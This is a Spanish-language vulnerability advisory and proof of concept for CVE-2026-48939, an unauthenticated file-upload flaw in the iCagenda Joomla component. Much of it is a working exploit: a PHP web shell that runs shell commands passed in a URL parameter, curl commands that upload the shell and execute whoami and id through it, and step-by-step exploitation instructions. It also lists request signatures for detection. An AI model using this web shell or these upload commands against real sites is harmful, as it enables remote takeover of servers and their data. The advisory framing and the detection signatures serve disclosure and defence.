
iCagenda Unauthenticated File Upload to RCE
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-48939 |
| Puntuación CVSS 4.0 | 10.0 Crítico |
| Vector CVSS | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-284: Control de acceso inadecuado |
| Versiones afectadas | iCagenda 3.2.1 - 3.9.14 y 4.0.0 - 4.0.7 |
| Corregido en | iCagenda 4.0.8 y 3.9.15 |
| Publicado | 20 de junio de 2026 |
iCagenda, un popular componente de eventos y calendario para Joomla, contiene una vulnerabilidad de subida de archivos no autenticada que permite a atacantes remotos subir y ejecutar código PHP arbitrario en sitios Joomla 6.
La vulnerabilidad existe en la función de adjuntar archivos del formulario de envío de eventos del frontend:
Falta de control de acceso: El endpoint de envío (index.php?option=com_icagenda&task=registration.submit) no aplica autenticación, omitiendo la configuración de acceso "Solo registrados".
Sin validación de archivos: Los archivos subidos se guardan con su extensión original sin:
Escritura directa de archivos: Los archivos se escriben en /images/icagenda/frontend/attachments/[nombre_del_archivo] directamente bajo la raíz web.
Ejecución de PHP: En Joomla 6, los archivos .php subidos son ejecutables, lo que conduce a la ejecución remota de código (RCE).
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF
# Upload the shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
# Navigate to project directory
# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
Identificar el endpoint vulnerable:
https://target.com/index.php?option=com_icagenda&task=submit
Subir la web shell PHP:
curl -X POST -F "jform[attachment][email protected]" \
"https://target.com/index.php?option=com_icagenda&task=submit"
Ejecutar la shell:
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
Según los registros de explotación reales, la firma del ataque es:
# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
Esta PoC es solo para fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal.